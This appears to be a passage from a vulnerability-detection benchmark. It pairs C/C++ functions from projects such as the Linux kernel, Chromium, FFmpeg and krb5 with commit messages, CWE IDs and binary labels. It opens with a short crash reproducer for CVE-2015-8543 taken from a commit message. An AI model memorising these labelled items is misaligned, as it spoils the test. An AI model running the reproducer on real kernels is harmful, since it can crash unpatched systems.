addr.sin_addr.s_addr = INADDR_ANY;
addr.sin_family = 10;
socket_fd = socket(10,3,0x40000000);
connect(socket_fd , &addr,16);
AF_INET, AF_INET6 sockets actually only support 8-bit protocol
identifiers. inet_sock's skc_protocol field thus is sized accordingly,
thus larger protocol identifiers simply cut off the higher bits and
store a zero in the protocol fields.
This could lead to e.g. NULL function pointer because as a result of
the cut off inet_num is zero and we call down to inet_autobind, which
is NULL for raw sockets.
kernel: Call Trace:
kernel: [<ffffffff816db90e>] ? inet_autobind+0x2e/0x70
kernel: [<ffffffff816db9a4>] inet_dgram_connect+0x54/0x80
kernel: [<ffffffff81645069>] SYSC_connect+0xd9/0x110
kernel: [<ffffffff810ac51b>] ? ptrace_notify+0x5b/0x80
kernel: [<ffffffff810236d8>] ? syscall_trace_enter_phase2+0x108/0x200
kernel: [<ffffffff81645e0e>] SyS_connect+0xe/0x10
kernel: [<ffffffff81779515>] tracesys_phase2+0x84/0x89
I found no particular commit which introduced this problem.
CVE: CVE-2015-8543
Cc: Cong Wang <cwang@twopensource.com>
Reported-by: 郭永刚 <guoyonggang@360.cn>
Signed-off-by: Hannes Frederic Sowa <hannes@stressinduktion.org>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: | 0 | 41,528 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static inline int vcpu_block(struct kvm *kvm, struct kvm_vcpu *vcpu)
{
if (!kvm_arch_vcpu_runnable(vcpu) &&
(!kvm_x86_ops->pre_block || kvm_x86_ops->pre_block(vcpu) == 0)) {
srcu_read_unlock(&kvm->srcu, vcpu->srcu_idx);
kvm_vcpu_block(vcpu);
vcpu->srcu_idx = srcu_read_lock(&kvm->srcu);
if (kvm_x86_ops->post_block)
kvm_x86_ops->post_block(vcpu);
if (!kvm_check_request(KVM_REQ_UNHALT, vcpu))
return 1;
}
kvm_apic_accept_events(vcpu);
switch(vcpu->arch.mp_state) {
case KVM_MP_STATE_HALTED:
vcpu->arch.pv.pv_unhalted = false;
vcpu->arch.mp_state =
KVM_MP_STATE_RUNNABLE;
case KVM_MP_STATE_RUNNABLE:
vcpu->arch.apf.halted = false;
break;
case KVM_MP_STATE_INIT_RECEIVED:
break;
default:
return -EINTR;
break;
}
return 1;
}
Commit Message: KVM: x86: Reload pit counters for all channels when restoring state
Currently if userspace restores the pit counters with a count of 0
on channels 1 or 2 and the guest attempts to read the count on those
channels, then KVM will perform a mod of 0 and crash. This will ensure
that 0 values are converted to 65536 as per the spec.
This is CVE-2015-7513.
Signed-off-by: Andy Honig <ahonig@google.com>
Signed-off-by: Paolo Bonzini <pbonzini@redhat.com>
CWE ID: | 0 | 57,803 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: bool BaseAudioContext::AreAutoplayRequirementsFulfilled() const {
switch (GetAutoplayPolicy()) {
case AutoplayPolicy::Type::kNoUserGestureRequired:
return true;
case AutoplayPolicy::Type::kUserGestureRequired:
case AutoplayPolicy::Type::kUserGestureRequiredForCrossOrigin:
return Frame::HasTransientUserActivation(
GetDocument() ? GetDocument()->GetFrame() : nullptr);
case AutoplayPolicy::Type::kDocumentUserActivationRequired:
return AutoplayPolicy::IsDocumentAllowedToPlay(*GetDocument());
}
NOTREACHED();
return false;
}
Commit Message: Redirect should not circumvent same-origin restrictions
Check whether we have access to the audio data when the format is set.
At this point we have enough information to determine this. The old approach
based on when the src was changed was incorrect because at the point, we
only know the new src; none of the response headers have been read yet.
This new approach also removes the incorrect message reported in 619114.
Bug: 826552, 619114
Change-Id: I95119b3a1e399c05d0fbd2da71f87967978efff6
Reviewed-on: https://chromium-review.googlesource.com/1069540
Commit-Queue: Raymond Toy <rtoy@chromium.org>
Reviewed-by: Yutaka Hirano <yhirano@chromium.org>
Reviewed-by: Hongchan Choi <hongchan@chromium.org>
Cr-Commit-Position: refs/heads/master@{#564313}
CWE ID: CWE-20 | 0 | 153,891 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void JBIG2Stream::readHalftoneRegionSeg(Guint segNum, GBool imm,
GBool lossless, Guint length,
Guint *refSegs, Guint nRefSegs) {
JBIG2Bitmap *bitmap;
JBIG2Segment *seg;
JBIG2PatternDict *patternDict;
JBIG2Bitmap *skipBitmap;
Guint *grayImg;
JBIG2Bitmap *grayBitmap;
JBIG2Bitmap *patternBitmap;
Guint w, h, x, y, segInfoFlags, extCombOp;
Guint flags, mmr, templ, enableSkip, combOp;
Guint gridW, gridH, stepX, stepY, patW, patH;
int atx[4], aty[4];
int gridX, gridY, xx, yy, bit, j;
Guint bpp, m, n, i;
if (!readULong(&w) || !readULong(&h) ||
!readULong(&x) || !readULong(&y) ||
!readUByte(&segInfoFlags)) {
goto eofError;
}
extCombOp = segInfoFlags & 7;
if (!readUByte(&flags)) {
goto eofError;
}
mmr = flags & 1;
templ = (flags >> 1) & 3;
enableSkip = (flags >> 3) & 1;
combOp = (flags >> 4) & 7;
if (!readULong(&gridW) || !readULong(&gridH) ||
!readLong(&gridX) || !readLong(&gridY) ||
!readUWord(&stepX) || !readUWord(&stepY)) {
goto eofError;
}
if (w == 0 || h == 0 || w >= INT_MAX / h) {
error(errSyntaxError, curStr->getPos(), "Bad bitmap size in JBIG2 halftone segment");
return;
}
if (gridH == 0 || gridW >= INT_MAX / gridH) {
error(errSyntaxError, curStr->getPos(), "Bad grid size in JBIG2 halftone segment");
return;
}
if (nRefSegs != 1) {
error(errSyntaxError, curStr->getPos(), "Bad symbol dictionary reference in JBIG2 halftone segment");
return;
}
seg = findSegment(refSegs[0]);
if (seg == NULL || seg->getType() != jbig2SegPatternDict) {
error(errSyntaxError, curStr->getPos(), "Bad symbol dictionary reference in JBIG2 halftone segment");
return;
}
patternDict = (JBIG2PatternDict *)seg;
i = patternDict->getSize();
if (i <= 1) {
bpp = 0;
} else {
--i;
bpp = 0;
while (i > 0) {
++bpp;
i >>= 1;
}
}
patW = patternDict->getBitmap(0)->getWidth();
patH = patternDict->getBitmap(0)->getHeight();
if (!mmr) {
resetGenericStats(templ, NULL);
arithDecoder->start();
}
bitmap = new JBIG2Bitmap(segNum, w, h);
if (flags & 0x80) { // HDEFPIXEL
bitmap->clearToOne();
} else {
bitmap->clearToZero();
}
skipBitmap = NULL;
if (enableSkip) {
skipBitmap = new JBIG2Bitmap(0, gridW, gridH);
skipBitmap->clearToZero();
for (m = 0; m < gridH; ++m) {
for (n = 0; n < gridW; ++n) {
xx = gridX + m * stepY + n * stepX;
yy = gridY + m * stepX - n * stepY;
if (((xx + (int)patW) >> 8) <= 0 || (xx >> 8) >= (int)w ||
((yy + (int)patH) >> 8) <= 0 || (yy >> 8) >= (int)h) {
skipBitmap->setPixel(n, m);
}
}
}
}
grayImg = (Guint *)gmallocn(gridW * gridH, sizeof(Guint));
memset(grayImg, 0, gridW * gridH * sizeof(Guint));
atx[0] = templ <= 1 ? 3 : 2; aty[0] = -1;
atx[1] = -3; aty[1] = -1;
atx[2] = 2; aty[2] = -2;
atx[3] = -2; aty[3] = -2;
for (j = bpp - 1; j >= 0; --j) {
grayBitmap = readGenericBitmap(mmr, gridW, gridH, templ, gFalse,
enableSkip, skipBitmap, atx, aty, -1);
i = 0;
for (m = 0; m < gridH; ++m) {
for (n = 0; n < gridW; ++n) {
bit = grayBitmap->getPixel(n, m) ^ (grayImg[i] & 1);
grayImg[i] = (grayImg[i] << 1) | bit;
++i;
}
}
delete grayBitmap;
}
i = 0;
for (m = 0; m < gridH; ++m) {
xx = gridX + m * stepY;
yy = gridY + m * stepX;
for (n = 0; n < gridW; ++n) {
if (!(enableSkip && skipBitmap->getPixel(n, m))) {
patternBitmap = patternDict->getBitmap(grayImg[i]);
if (unlikely(patternBitmap == NULL)) {
error(errSyntaxError, curStr->getPos(), "Bad pattern bitmap");
return;
}
bitmap->combine(patternBitmap, xx >> 8, yy >> 8, combOp);
}
xx += stepX;
yy -= stepY;
++i;
}
}
gfree(grayImg);
if (skipBitmap) {
delete skipBitmap;
}
if (imm) {
if (pageH == 0xffffffff && y + h > curPageH) {
pageBitmap->expand(y + h, pageDefPixel);
}
pageBitmap->combine(bitmap, x, y, extCombOp);
delete bitmap;
} else {
segments->append(bitmap);
}
return;
eofError:
error(errSyntaxError, curStr->getPos(), "Unexpected EOF in JBIG2 stream");
}
Commit Message:
CWE ID: CWE-119 | 0 | 14,710 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: int ff_lock_avcodec(AVCodecContext *log_ctx, const AVCodec *codec)
{
if (codec->caps_internal & FF_CODEC_CAP_INIT_THREADSAFE || !codec->init)
return 0;
if (lockmgr_cb) {
if ((*lockmgr_cb)(&codec_mutex, AV_LOCK_OBTAIN))
return -1;
}
if (avpriv_atomic_int_add_and_fetch(&entangled_thread_counter, 1) != 1) {
av_log(log_ctx, AV_LOG_ERROR,
"Insufficient thread locking. At least %d threads are "
"calling avcodec_open2() at the same time right now.\n",
entangled_thread_counter);
if (!lockmgr_cb)
av_log(log_ctx, AV_LOG_ERROR, "No lock manager is set, please see av_lockmgr_register()\n");
ff_avcodec_locked = 1;
ff_unlock_avcodec(codec);
return AVERROR(EINVAL);
}
av_assert0(!ff_avcodec_locked);
ff_avcodec_locked = 1;
return 0;
}
Commit Message: avcodec/utils: correct align value for interplay
Fixes out of array access
Fixes: 452/fuzz-1-ffmpeg_VIDEO_AV_CODEC_ID_INTERPLAY_VIDEO_fuzzer
Found-by: continuous fuzzing process https://github.com/google/oss-fuzz/tree/master/targets/ffmpeg
Signed-off-by: Michael Niedermayer <michael@niedermayer.cc>
CWE ID: CWE-787 | 0 | 67,026 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: onig_get_capture_tree(OnigRegion* region)
{
return region->history_root;
}
Commit Message: fix #59 : access to invalid address by reg->dmax value
CWE ID: CWE-476 | 0 | 64,665 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static unsigned int nf_hash_frag(__be32 id, const struct in6_addr *saddr,
const struct in6_addr *daddr)
{
net_get_random_once(&nf_frags.rnd, sizeof(nf_frags.rnd));
return jhash_3words(ipv6_addr_hash(saddr), ipv6_addr_hash(daddr),
(__force u32)id, nf_frags.rnd);
}
Commit Message: netfilter: ipv6: nf_defrag: drop mangled skb on ream error
Dmitry Vyukov reported GPF in network stack that Andrey traced down to
negative nh offset in nf_ct_frag6_queue().
Problem is that all network headers before fragment header are pulled.
Normal ipv6 reassembly will drop the skb when errors occur further down
the line.
netfilter doesn't do this, and instead passed the original fragment
along. That was also fine back when netfilter ipv6 defrag worked with
cloned fragments, as the original, pristine fragment was passed on.
So we either have to undo the pull op, or discard such fragments.
Since they're malformed after all (e.g. overlapping fragment) it seems
preferrable to just drop them.
Same for temporary errors -- it doesn't make sense to accept (and
perhaps forward!) only some fragments of same datagram.
Fixes: 029f7f3b8701cc7ac ("netfilter: ipv6: nf_defrag: avoid/free clone operations")
Reported-by: Dmitry Vyukov <dvyukov@google.com>
Debugged-by: Andrey Konovalov <andreyknvl@google.com>
Diagnosed-by: Eric Dumazet <Eric Dumazet <edumazet@google.com>
Signed-off-by: Florian Westphal <fw@strlen.de>
Acked-by: Eric Dumazet <edumazet@google.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
CWE ID: CWE-787 | 0 | 47,996 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: check_hot_list(krb5_ticket *ticket)
{
return 0;
}
Commit Message: Fix S4U2Self KDC crash when anon is restricted
In validate_as_request(), when enforcing restrict_anonymous_to_tgt,
use client.princ instead of request->client; the latter is NULL when
validating S4U2Self requests.
CVE-2016-3120:
In MIT krb5 1.9 and later, an authenticated attacker can cause krb5kdc
to dereference a null pointer if the restrict_anonymous_to_tgt option
is set to true, by making an S4U2Self request.
CVSSv2 Vector: AV:N/AC:H/Au:S/C:N/I:N/A:C/E:H/RL:OF/RC:C
ticket: 8458 (new)
target_version: 1.14-next
target_version: 1.13-next
CWE ID: CWE-476 | 0 | 54,331 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int mxf_read_indirect_value(void *arg, AVIOContext *pb, int size)
{
MXFTaggedValue *tagged_value = arg;
uint8_t key[17];
if (size <= 17)
return 0;
avio_read(pb, key, 17);
/* TODO: handle other types of of indirect values */
if (memcmp(key, mxf_indirect_value_utf16le, 17) == 0) {
return mxf_read_utf16le_string(pb, size - 17, &tagged_value->value);
} else if (memcmp(key, mxf_indirect_value_utf16be, 17) == 0) {
return mxf_read_utf16be_string(pb, size - 17, &tagged_value->value);
}
return 0;
}
Commit Message: avformat/mxfdec: Fix DoS issues in mxf_read_index_entry_array()
Fixes: 20170829A.mxf
Co-Author: 张洪亮(望初)" <wangchu.zhl@alibaba-inc.com>
Found-by: Xiaohei and Wangchu from Alibaba Security Team
Signed-off-by: Michael Niedermayer <michael@niedermayer.cc>
CWE ID: CWE-834 | 0 | 61,600 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int afiucv_netdev_event(struct notifier_block *this,
unsigned long event, void *ptr)
{
struct net_device *event_dev = (struct net_device *)ptr;
struct sock *sk;
struct iucv_sock *iucv;
switch (event) {
case NETDEV_REBOOT:
case NETDEV_GOING_DOWN:
sk_for_each(sk, &iucv_sk_list.head) {
iucv = iucv_sk(sk);
if ((iucv->hs_dev == event_dev) &&
(sk->sk_state == IUCV_CONNECTED)) {
if (event == NETDEV_GOING_DOWN)
iucv_send_ctrl(sk, AF_IUCV_FLAG_FIN);
sk->sk_state = IUCV_DISCONN;
sk->sk_state_change(sk);
}
}
break;
case NETDEV_DOWN:
case NETDEV_UNREGISTER:
default:
break;
}
return NOTIFY_DONE;
}
Commit Message: iucv: Fix missing msg_namelen update in iucv_sock_recvmsg()
The current code does not fill the msg_name member in case it is set.
It also does not set the msg_namelen member to 0 and therefore makes
net/socket.c leak the local, uninitialized sockaddr_storage variable
to userland -- 128 bytes of kernel stack memory.
Fix that by simply setting msg_namelen to 0 as obviously nobody cared
about iucv_sock_recvmsg() not filling the msg_name in case it was set.
Cc: Ursula Braun <ursula.braun@de.ibm.com>
Signed-off-by: Mathias Krause <minipli@googlemail.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: CWE-200 | 0 | 30,585 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void* yr_arena_next_address(
YR_ARENA* arena,
void* address,
size_t offset)
{
YR_ARENA_PAGE* page;
page = _yr_arena_page_for_address(arena, address);
assert(page != NULL);
if ((uint8_t*) address + offset >= page->address &&
(uint8_t*) address + offset < page->address + page->used)
{
return (uint8_t*) address + offset;
}
if (offset > 0)
{
offset -= page->address + page->used - (uint8_t*) address;
page = page->next;
while (page != NULL)
{
if (offset < page->used)
return page->address + offset;
offset -= page->used;
page = page->next;
}
}
else
{
offset += page->used;
page = page->prev;
while (page != NULL)
{
if (offset < page->used)
return page->address + page->used + offset;
offset += page->used;
page = page->prev;
}
}
return NULL;
}
Commit Message: Fix issue #658
CWE ID: CWE-416 | 0 | 66,032 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: bool StartSyncService(const base::Closure& callback,
bool will_fail_association) {
if (sync_service_.get())
return false;
SigninManager* signin = SigninManagerFactory::GetForProfile(profile());
signin->SetAuthenticatedUsername("test_user");
ProfileSyncComponentsFactoryMock* factory =
new ProfileSyncComponentsFactoryMock();
sync_service_.reset(new TestProfileSyncService(
factory,
profile(),
signin,
ProfileSyncService::AUTO_START,
false,
callback));
SessionDataTypeController *dtc = new SessionDataTypeController(factory,
profile(),
sync_service_.get());
sync_service_->RegisterDataTypeController(dtc);
model_associator_ =
new SessionModelAssociator(sync_service_.get(),
true /* setup_for_test */);
change_processor_ = new SessionChangeProcessor(
dtc, model_associator_,
true /* setup_for_test */);
EXPECT_CALL(*factory, CreateSessionSyncComponents(_, _)).
WillOnce(Return(ProfileSyncComponentsFactory::SyncComponents(
model_associator_, change_processor_)));
EXPECT_CALL(*factory, CreateDataTypeManager(_, _)).
WillOnce(ReturnNewDataTypeManager());
TokenServiceFactory::GetForProfile(profile())->IssueAuthTokenForTest(
GaiaConstants::kSyncService, "token");
sync_service_->Initialize();
MessageLoop::current()->Run();
return true;
}
Commit Message: Disable crashing test
BUG=121487
TBR=sky
TEST=
Review URL: https://chromiumcodereview.appspot.com/9950076
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@130276 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: | 0 | 107,270 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void ProfilingProcessHost::ConfigureBackgroundProfilingTriggers() {
background_triggers_.StartTimer();
}
Commit Message: [Reland #1] Add Android OOP HP end-to-end tests.
The original CL added a javatest and its dependencies to the apk_under_test.
This causes the dependencies to be stripped from the instrumentation_apk, which
causes issue. This CL updates the build configuration so that the javatest and
its dependencies are only added to the instrumentation_apk.
This is a reland of e0b4355f0651adb1ebc2c513dc4410471af712f5
Original change's description:
> Add Android OOP HP end-to-end tests.
>
> This CL has three components:
> 1) The bulk of the logic in OOP HP was refactored into ProfilingTestDriver.
> 2) Adds a java instrumentation test, along with a JNI shim that forwards into
> ProfilingTestDriver.
> 3) Creates a new apk: chrome_public_apk_for_test that contains the same
> content as chrome_public_apk, as well as native files needed for (2).
> chrome_public_apk_test now targets chrome_public_apk_for_test instead of
> chrome_public_apk.
>
> Other ideas, discarded:
> * Originally, I attempted to make the browser_tests target runnable on
> Android. The primary problem is that native test harness cannot fork
> or spawn processes. This is difficult to solve.
>
> More details on each of the components:
> (1) ProfilingTestDriver
> * The TracingController test was migrated to use ProfilingTestDriver, but the
> write-to-file test was left as-is. The latter behavior will likely be phased
> out, but I'll clean that up in a future CL.
> * gtest isn't supported for Android instrumentation tests. ProfilingTestDriver
> has a single function RunTest that returns a 'bool' indicating success. On
> failure, the class uses LOG(ERROR) to print the nature of the error. This will
> cause the error to be printed out on browser_test error. On instrumentation
> test failure, the error will be forwarded to logcat, which is available on all
> infra bot test runs.
> (2) Instrumentation test
> * For now, I only added a single test for the "browser" mode. Furthermore, I'm
> only testing the start with command-line path.
> (3) New apk
> * libchromefortest is a new shared library that contains all content from
> libchrome, but also contains native sources for the JNI shim.
> * chrome_public_apk_for_test is a new apk that contains all content from
> chrome_public_apk, but uses a single shared library libchromefortest rather
> than libchrome. This also contains java sources for the JNI shim.
> * There is no way to just add a second shared library to chrome_public_apk
> that just contains the native sources from the JNI shim without causing ODR
> issues.
> * chrome_public_test_apk now has apk_under_test = chrome_public_apk_for_test.
> * There is no way to add native JNI sources as a shared library to
> chrome_public_test_apk without causing ODR issues.
>
> Finally, this CL drastically increases the timeout to wait for native
> initialization. The previous timeout was 2 *
> CriteriaHelper.DEFAULT_MAX_TIME_TO_POLL, which flakily failed for this test.
> This suggests that this step/timeout is generally flaky. I increased the timeout
> to 20 * CriteriaHelper.DEFAULT_MAX_TIME_TO_POLL.
>
> Bug: 753218
> Change-Id: Ic224b7314fff57f1770a4048aa5753f54e040b55
> Reviewed-on: https://chromium-review.googlesource.com/770148
> Commit-Queue: Erik Chen <erikchen@chromium.org>
> Reviewed-by: John Budorick <jbudorick@chromium.org>
> Reviewed-by: Brett Wilson <brettw@chromium.org>
> Cr-Commit-Position: refs/heads/master@{#517541}
Bug: 753218
TBR: brettw@chromium.org
Change-Id: Ic6aafb34c2467253f75cc85da48200d19f3bc9af
Reviewed-on: https://chromium-review.googlesource.com/777697
Commit-Queue: Erik Chen <erikchen@chromium.org>
Reviewed-by: John Budorick <jbudorick@chromium.org>
Cr-Commit-Position: refs/heads/master@{#517850}
CWE ID: CWE-416 | 0 | 150,204 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int receive_filter(VirtIONet *n, const uint8_t *buf, int size)
{
static const uint8_t bcast[] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};
static const uint8_t vlan[] = {0x81, 0x00};
uint8_t *ptr = (uint8_t *)buf;
int i;
if (n->promisc)
return 1;
ptr += n->host_hdr_len;
if (!memcmp(&ptr[12], vlan, sizeof(vlan))) {
int vid = be16_to_cpup((uint16_t *)(ptr + 14)) & 0xfff;
if (!(n->vlans[vid >> 5] & (1U << (vid & 0x1f))))
return 0;
}
if (ptr[0] & 1) { // multicast
if (!memcmp(ptr, bcast, sizeof(bcast))) {
return !n->nobcast;
} else if (n->nomulti) {
return 0;
} else if (n->allmulti || n->mac_table.multi_overflow) {
return 1;
}
for (i = n->mac_table.first_multi; i < n->mac_table.in_use; i++) {
if (!memcmp(ptr, &n->mac_table.macs[i * ETH_ALEN], ETH_ALEN)) {
return 1;
}
}
} else { // unicast
if (n->nouni) {
return 0;
} else if (n->alluni || n->mac_table.uni_overflow) {
return 1;
} else if (!memcmp(ptr, n->mac, ETH_ALEN)) {
return 1;
}
for (i = 0; i < n->mac_table.first_multi; i++) {
if (!memcmp(ptr, &n->mac_table.macs[i * ETH_ALEN], ETH_ALEN)) {
return 1;
}
}
}
return 0;
}
Commit Message:
CWE ID: CWE-119 | 0 | 15,820 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: double WebPagePrivate::maximumScale() const
{
if (m_maximumScale >= zoomToFitScale() && m_maximumScale >= m_minimumScale && respectViewport())
return m_maximumScale;
return hasVirtualViewport() ? std::max<double>(zoomToFitScale(), 4.0) : 4.0;
}
Commit Message: [BlackBerry] Adapt to new BlackBerry::Platform::TouchPoint API
https://bugs.webkit.org/show_bug.cgi?id=105143
RIM PR 171941
Reviewed by Rob Buis.
Internally reviewed by George Staikos.
Source/WebCore:
TouchPoint instances now provide document coordinates for the viewport
and content position of the touch event. The pixel coordinates stored
in the TouchPoint should no longer be needed in WebKit.
Also adapt to new method names and encapsulation of TouchPoint data
members.
No change in behavior, no new tests.
* platform/blackberry/PlatformTouchPointBlackBerry.cpp:
(WebCore::PlatformTouchPoint::PlatformTouchPoint):
Source/WebKit/blackberry:
TouchPoint instances now provide document coordinates for the viewport
and content position of the touch event. The pixel coordinates stored
in the TouchPoint should no longer be needed in WebKit. One exception
is when passing events to a full screen plugin.
Also adapt to new method names and encapsulation of TouchPoint data
members.
* Api/WebPage.cpp:
(BlackBerry::WebKit::WebPage::touchEvent):
(BlackBerry::WebKit::WebPage::touchPointAsMouseEvent):
(BlackBerry::WebKit::WebPagePrivate::dispatchTouchEventToFullScreenPlugin):
(BlackBerry::WebKit::WebPagePrivate::dispatchTouchPointAsMouseEventToFullScreenPlugin):
* WebKitSupport/InputHandler.cpp:
(BlackBerry::WebKit::InputHandler::shouldRequestSpellCheckingOptionsForPoint):
* WebKitSupport/InputHandler.h:
(InputHandler):
* WebKitSupport/TouchEventHandler.cpp:
(BlackBerry::WebKit::TouchEventHandler::doFatFingers):
(BlackBerry::WebKit::TouchEventHandler::handleTouchPoint):
* WebKitSupport/TouchEventHandler.h:
(TouchEventHandler):
Tools:
Adapt to new method names and encapsulation of TouchPoint data members.
* DumpRenderTree/blackberry/EventSender.cpp:
(addTouchPointCallback):
(updateTouchPointCallback):
(touchEndCallback):
(releaseTouchPointCallback):
(sendTouchEvent):
git-svn-id: svn://svn.chromium.org/blink/trunk@137880 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: | 0 | 104,276 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void ChildProcessSecurityPolicyImpl::GrantWriteFileSystem(
int child_id, const std::string& filesystem_id) {
GrantPermissionsForFileSystem(child_id, filesystem_id, WRITE_FILE_GRANT);
}
Commit Message: This patch implements a mechanism for more granular link URL permissions (filtering on scheme/host). This fixes the bug that allowed PDFs to have working links to any "chrome://" URLs.
BUG=528505,226927
Review URL: https://codereview.chromium.org/1362433002
Cr-Commit-Position: refs/heads/master@{#351705}
CWE ID: CWE-264 | 0 | 125,165 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: snd_compr_get_metadata(struct snd_compr_stream *stream, unsigned long arg)
{
struct snd_compr_metadata metadata;
int retval;
if (!stream->ops->get_metadata)
return -ENXIO;
if (copy_from_user(&metadata, (void __user *)arg, sizeof(metadata)))
return -EFAULT;
retval = stream->ops->get_metadata(stream, &metadata);
if (retval != 0)
return retval;
if (copy_to_user((void __user *)arg, &metadata, sizeof(metadata)))
return -EFAULT;
return 0;
}
Commit Message: ALSA: compress: fix an integer overflow check
I previously added an integer overflow check here but looking at it now,
it's still buggy.
The bug happens in snd_compr_allocate_buffer(). We multiply
".fragments" and ".fragment_size" and that doesn't overflow but then we
save it in an unsigned int so it truncates the high bits away and we
allocate a smaller than expected size.
Fixes: b35cc8225845 ('ALSA: compress_core: integer overflow in snd_compr_allocate_buffer()')
Signed-off-by: Dan Carpenter <dan.carpenter@oracle.com>
Signed-off-by: Takashi Iwai <tiwai@suse.de>
CWE ID: | 0 | 58,078 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static void coroutine_fn v9fs_op_not_supp(void *opaque)
{
V9fsPDU *pdu = opaque;
pdu_complete(pdu, -EOPNOTSUPP);
}
Commit Message:
CWE ID: CWE-400 | 0 | 7,728 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void InspectorPageAgent::getResourceContent(
const String& frame_id,
const String& url,
std::unique_ptr<GetResourceContentCallback> callback) {
if (!enabled_) {
callback->sendFailure(Response::Error("Agent is not enabled."));
return;
}
inspector_resource_content_loader_->EnsureResourcesContentLoaded(
resource_content_loader_client_id_,
WTF::Bind(
&InspectorPageAgent::GetResourceContentAfterResourcesContentLoaded,
WrapPersistent(this), frame_id, url,
WTF::Passed(std::move(callback))));
}
Commit Message: DevTools: send proper resource type in Network.RequestWillBeSent
This patch plumbs resoure type into the DispatchWillSendRequest
instrumenation. This allows us to report accurate type in
Network.RequestWillBeSent event, instead of "Other", that we report
today.
BUG=765501
R=dgozman
Change-Id: I0134c08b841e8dd247fdc8ff208bfd51e462709c
Reviewed-on: https://chromium-review.googlesource.com/667504
Reviewed-by: Pavel Feldman <pfeldman@chromium.org>
Reviewed-by: Dmitry Gozman <dgozman@chromium.org>
Commit-Queue: Andrey Lushnikov <lushnikov@chromium.org>
Cr-Commit-Position: refs/heads/master@{#507936}
CWE ID: CWE-119 | 0 | 138,594 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: jas_stream_t *jas_stream_fdopen(int fd, const char *mode)
{
jas_stream_t *stream;
jas_stream_fileobj_t *obj;
JAS_DBGLOG(100, ("jas_stream_fdopen(%d, \"%s\")\n", fd, mode));
/* Allocate a stream object. */
if (!(stream = jas_stream_create())) {
return 0;
}
/* Parse the mode string. */
stream->openmode_ = jas_strtoopenmode(mode);
#if defined(WIN32)
/* Argh!!! Someone ought to banish text mode (i.e., O_TEXT) to the
greatest depths of purgatory! */
/* Ensure that the file descriptor is in binary mode, if the caller
has specified the binary mode flag. Arguably, the caller ought to
take care of this, but text mode is a ugly wart anyways, so we save
the caller some grief by handling this within the stream library. */
/* This ugliness is mainly for the benefit of those who run the
JasPer software under Windows from shells that insist on opening
files in text mode. For example, in the Cygwin environment,
shells often open files in text mode when I/O redirection is
used. Grr... */
if (stream->openmode_ & JAS_STREAM_BINARY) {
setmode(fd, O_BINARY);
}
#endif
/* Allocate space for the underlying file stream object. */
if (!(obj = jas_malloc(sizeof(jas_stream_fileobj_t)))) {
jas_stream_destroy(stream);
return 0;
}
obj->fd = fd;
obj->flags = 0;
obj->pathname[0] = '\0';
stream->obj_ = (void *) obj;
/* Do not close the underlying file descriptor when the stream is
closed. */
obj->flags |= JAS_STREAM_FILEOBJ_NOCLOSE;
/* By default, use full buffering for this type of stream. */
jas_stream_initbuf(stream, JAS_STREAM_FULLBUF, 0, 0);
/* Select the operations for a file stream object. */
stream->ops_ = &jas_stream_fileops;
return stream;
}
Commit Message: Fixed bugs due to uninitialized data in the JP2 decoder.
Also, added some comments marking I/O stream interfaces that probably
need to be changed (in the long term) to fix integer overflow problems.
CWE ID: CWE-476 | 0 | 67,910 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void EventBindings::MatchAgainstEventFilter(
const v8::FunctionCallbackInfo<v8::Value>& args) {
v8::Isolate* isolate = args.GetIsolate();
typedef std::set<EventFilter::MatcherID> MatcherIDs;
EventFilter& event_filter = g_event_filter.Get();
std::string event_name = *v8::String::Utf8Value(args[0]);
EventFilteringInfo info =
ParseFromObject(args[1]->ToObject(isolate), isolate);
MatcherIDs matched_event_filters = event_filter.MatchEvent(
event_name, info, context()->GetRenderFrame()->GetRoutingID());
v8::Local<v8::Array> array(
v8::Array::New(isolate, matched_event_filters.size()));
int i = 0;
for (MatcherIDs::iterator it = matched_event_filters.begin();
it != matched_event_filters.end();
++it) {
